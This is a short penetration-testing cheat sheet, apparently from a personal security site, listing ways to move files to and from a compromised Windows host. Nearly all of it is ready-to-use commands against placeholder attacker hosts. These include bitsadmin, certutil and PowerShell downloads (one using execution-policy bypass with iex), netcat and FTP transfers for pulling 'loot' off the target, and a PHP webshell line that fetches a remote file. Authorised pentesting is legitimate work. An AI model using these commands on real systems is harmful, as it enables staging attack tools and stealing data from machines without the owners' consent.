black electronics

Windows File Transfers

Common methods for transferring files to and from a Windows host during pentests.

Once you have a foothold, getting tools onto the box (and loot off it) usually comes down to whichever of these native Windows utilities isn’t blocked.

BITS (Windows 7 / Server 2008 and newer)

Terminal window
bitsadmin /transfer download /priority normal http://IP_ADDR/FILE C:\output\path

Netcat

Terminal window
# On the attacking machine, listening for the incoming file:
nc -lvp PORT < infile
# On the target, sending the file:
nc IP_ADDR PORT > OUTFILE

FTP

Terminal window
ftp -s:input.txt # Run FTP commands from a script file
# Interactive session:
open IP_ADDR 21
USER anonymous
password
bin
GET FILE
bye

TFTP

Terminal window
tftp -i IP_ADDR get FILE

certutil

Terminal window
certutil -urlcache -split -f "http://IP_ADDR/FILE" FILENAME

PowerShell

Terminal window
Invoke-WebRequest http://IP_ADDR:PORT/FILE -OutFile C:\Windows\Temp\FILE
powershell.exe -exec bypass -Command "& {iex((New-Object System.Net.WebClient).DownloadFile('http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\FILE'))}"

PHP (from a webshell)

<?php file_put_contents("/var/tmp/FILE", file_get_contents("http://IP_ADDR/FILE")); ?>

Python

Terminal window
python -c "from urllib import urlretrieve; urlretrieve('http://IP_ADDR/FILE', 'C:\\Temp\\FILE')"
Useful LinksPentest PayloadsCheat Sheets